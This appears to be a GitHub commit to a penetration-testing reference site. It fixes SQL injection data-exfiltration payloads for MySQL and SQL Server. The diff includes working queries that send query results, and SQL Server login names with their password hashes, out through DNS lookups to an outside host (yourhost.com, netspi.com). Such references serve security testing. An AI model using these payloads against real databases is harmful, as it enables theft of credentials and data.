Skip to content

Commit

Permalink
Fix DNS-related exfiltration issues. (#6)
Browse files Browse the repository at this point in the history
* Fix MySQL DNS Request

Add missing period.

Works on #5.

* Fix SQL Server DNS request

Add missing period.

Works on #5.

* Add contributors entry

#6 (comment)

Works on #5.
  • Loading branch information
aph3rson authored and JacobReynolds committed Oct 20, 2018
1 parent 873609f commit e643ac8
Show file tree
Hide file tree
Showing 3 changed files with 3 additions and 2 deletions.
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@ See [CONTRIBUTING.md](https://github.com/NetSPI/WikiJekyllTheme/blob/master/CONT
- Ben Tindell
- Colin Salisbury
- Eric Gruber (@egru)
- Ian Williams (@aph3rson)
- Jake Reynolds (@jreynoldsdev)
- Khai Tran (@k_tr4n)
- Rafael Seferyan
Expand Down
2 changes: 1 addition & 1 deletion attackQueries/dataExfiltration/mysql.html
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ <h3 id="data-exfiltration">Data Exfiltration</h3>
</thead>
<tbody><tr>
<td>DNS Request</td>
<td>SELECT LOAD_FILE(concat('\\\\',(<strong>QUERY_WITH_ONLY_ONE_ROW</strong>), 'yourhost.com\\'))</td>
<td>SELECT LOAD_FILE(concat('\\\\',(<strong>QUERY_WITH_ONLY_ONE_ROW</strong>), '.yourhost.com\\'))</td>
</tr>
<tr>
<td>SMB Share</td>
Expand Down
2 changes: 1 addition & 1 deletion attackQueries/dataExfiltration/sqlserver.html
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ <h3 id="data-exfiltration">Data Exfiltration</h3>
<tbody>
<tr>
<td>Make DNS Request</td>
<td>DECLARE @host varchar(800);<br>select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + 'netspi.com' from sys.sql_logins;<br>exec('xp_fileexist "\' + @host + 'c$boot.ini"');</td>
<td>DECLARE @host varchar(800);<br>select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.netspi.com' from sys.sql_logins;<br>exec('xp_fileexist "\' + @host + 'c$boot.ini"');</td>
</tr>
<tr>
<td>UNC Path (DNS Request)</td>
Expand Down

0 comments on commit e643ac8

Please sign in to comment.